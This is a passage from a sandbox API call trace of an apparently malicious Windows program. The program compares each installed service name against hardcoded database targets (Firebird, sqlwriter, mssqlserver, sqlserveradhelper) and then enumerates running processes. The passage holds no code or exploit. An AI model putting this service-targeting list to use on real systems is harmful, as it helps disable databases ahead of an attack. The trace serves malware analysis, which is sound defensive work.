lpString2="DeviceAssociationService") returned 1 [0120.793] lstrlenW (lpString="Dhcp") returned 4 [0120.793] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0120.793] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0120.793] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0120.793] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0120.793] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0120.793] lstrlenW (lpString="Dnscache") returned 8 [0120.793] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0120.793] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0120.793] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0120.793] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0120.793] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0120.793] lstrlenW (lpString="DoSvc") returned 5 [0120.793] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0120.793] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0120.793] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0120.793] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0120.793] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0120.793] lstrlenW (lpString="DPS") returned 3 [0120.793] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0120.793] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0120.793] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0120.793] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0120.793] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0120.793] lstrlenW (lpString="DusmSvc") returned 7 [0120.793] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0120.793] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0120.793] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0120.794] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0120.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0120.794] lstrlenW (lpString="EventLog") returned 8 [0120.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0120.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0120.794] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0120.794] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0120.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0120.794] lstrlenW (lpString="EventSystem") returned 11 [0120.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0120.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0120.794] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0120.794] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0120.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0120.794] lstrlenW (lpString="FontCache") returned 9 [0120.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0120.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0120.794] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0120.794] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0120.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0120.794] lstrlenW (lpString="gpsvc") returned 5 [0120.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0120.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0120.794] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0120.794] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0120.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0120.794] lstrlenW (lpString="iphlpsvc") returned 8 [0120.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0120.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0120.794] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0120.795] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0120.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0120.795] lstrlenW (lpString="KeyIso") returned 6 [0120.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0120.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0120.795] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0120.795] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0120.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0120.795] lstrlenW (lpString="LanmanServer") returned 12 [0120.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0120.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0120.795] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0120.795] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0120.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0120.795] lstrlenW (lpString="LanmanWorkstation") returned 17 [0120.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0120.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0120.795] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0120.795] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0120.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0120.795] lstrlenW (lpString="lfsvc") returned 5 [0120.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0120.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0120.795] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0120.795] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0120.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0120.795] lstrlenW (lpString="lmhosts") returned 7 [0120.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0120.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0120.795] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0120.796] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0120.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0120.796] lstrlenW (lpString="LSM") returned 3 [0120.796] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0120.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0120.796] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0120.796] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0120.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0120.796] lstrlenW (lpString="MpsSvc") returned 6 [0120.796] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0120.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0120.796] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0120.796] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0120.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0120.796] lstrlenW (lpString="NcbService") returned 10 [0120.796] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0120.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0120.796] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0120.796] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0120.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0120.796] lstrlenW (lpString="netprofm") returned 8 [0120.796] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0120.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0120.813] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0120.813] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0120.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0120.813] lstrlenW (lpString="NlaSvc") returned 6 [0120.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0120.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0120.813] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0120.813] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0120.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0120.813] lstrlenW (lpString="nsi") returned 3 [0120.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0120.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0120.813] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0120.813] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0120.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0120.813] lstrlenW (lpString="PcaSvc") returned 6 [0120.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0120.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0120.813] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0120.813] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0120.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0120.813] lstrlenW (lpString="PlugPlay") returned 8 [0120.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0120.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0120.814] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0120.814] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0120.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0120.814] lstrlenW (lpString="Power") returned 5 [0120.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0120.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0120.814] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0120.814] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0120.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0120.814] lstrlenW (lpString="ProfSvc") returned 7 [0120.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0120.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0120.814] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0120.814] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0120.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0120.814] lstrlenW (lpString="RpcEptMapper") returned 12 [0120.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0120.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0120.814] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0120.814] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0120.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0120.814] lstrlenW (lpString="RpcSs") returned 5 [0120.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0120.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0120.814] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0120.814] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0120.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0120.814] lstrlenW (lpString="SamSs") returned 5 [0120.815] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0120.815] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0120.815] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0120.815] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0120.815] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0120.815] lstrlenW (lpString="Schedule") returned 8 [0120.815] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0120.815] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0120.815] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0120.815] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0120.815] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0120.815] lstrlenW (lpString="SecurityHealthService") returned 21 [0120.815] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0120.815] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0120.815] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0120.815] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0120.815] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0120.815] lstrlenW (lpString="SENS") returned 4 [0120.815] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0120.815] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0120.815] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0120.815] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0120.815] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0120.815] lstrlenW (lpString="ShellHWDetection") returned 16 [0120.815] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0120.815] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0120.815] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0120.815] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0120.815] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0120.816] lstrlenW (lpString="Spooler") returned 7 [0120.816] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0120.816] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0120.816] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0120.816] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0120.816] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0120.816] lstrlenW (lpString="SSDPSRV") returned 7 [0120.816] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0120.816] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0120.816] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0120.816] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0120.816] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0120.816] lstrlenW (lpString="StateRepository") returned 15 [0120.816] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0120.816] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0120.816] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0120.816] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0120.816] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0120.816] lstrlenW (lpString="SysMain") returned 7 [0120.816] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0120.816] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0120.816] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0120.816] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0120.816] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0120.816] lstrlenW (lpString="SystemEventsBroker") returned 18 [0120.816] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0120.816] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0120.816] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0120.816] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0120.817] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5e2270 | out: hHeap=0x5a0000) returned 1 [0120.817] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xf8c [0120.833] Process32FirstW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0120.834] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0120.834] lstrlenW (lpString="System") returned 6 [0120.834] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0120.835] lstrlenW (lpString="smss.exe") returned 8 [0120.835] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0120.836] lstrlenW (lpString="csrss.exe") returned 9 [0120.836] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0120.837] lstrlenW (lpString="wininit.exe") returned 11 [0120.837] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0120.838] lstrlenW (lpString="csrss.exe") returned 9 [0120.838] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0120.838] lstrlenW (lpString="winlogon.exe") returned 12 [0120.839] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0120.839] lstrlenW (lpString="services.exe") returned 12 [0120.839] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0120.840] lstrlenW (lpString="lsass.exe") returned 9 [0120.840] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.841] lstrlenW (lpString="svchost.exe") returned 11 [0120.841] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0120.842] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0120.842] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0120.843] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0120.843] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.844] lstrlenW (lpString="svchost.exe") returned 11 [0120.844] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0120.845] lstrlenW (lpString="dwm.exe") returned 7 [0120.845] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x54, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.846] lstrlenW (lpString="svchost.exe") returned 11 [0120.846] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.847] lstrlenW (lpString="svchost.exe") returned 11 [0120.847] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.847] lstrlenW (lpString="svchost.exe") returned 11 [0120.848] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.848] lstrlenW (lpString="svchost.exe") returned 11 [0120.848] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.849] lstrlenW (lpString="svchost.exe") returned 11 [0120.849] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.850] lstrlenW (lpString="svchost.exe") returned 11 [0120.850] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.851] lstrlenW (lpString="svchost.exe") returned 11 [0120.851] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.852] lstrlenW (lpString="svchost.exe") returned 11 [0120.852] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.852] lstrlenW (lpString="svchost.exe") returned 11 [0120.852] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0120.853] lstrlenW (lpString="spoolsv.exe") returned 11 [0120.853] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, 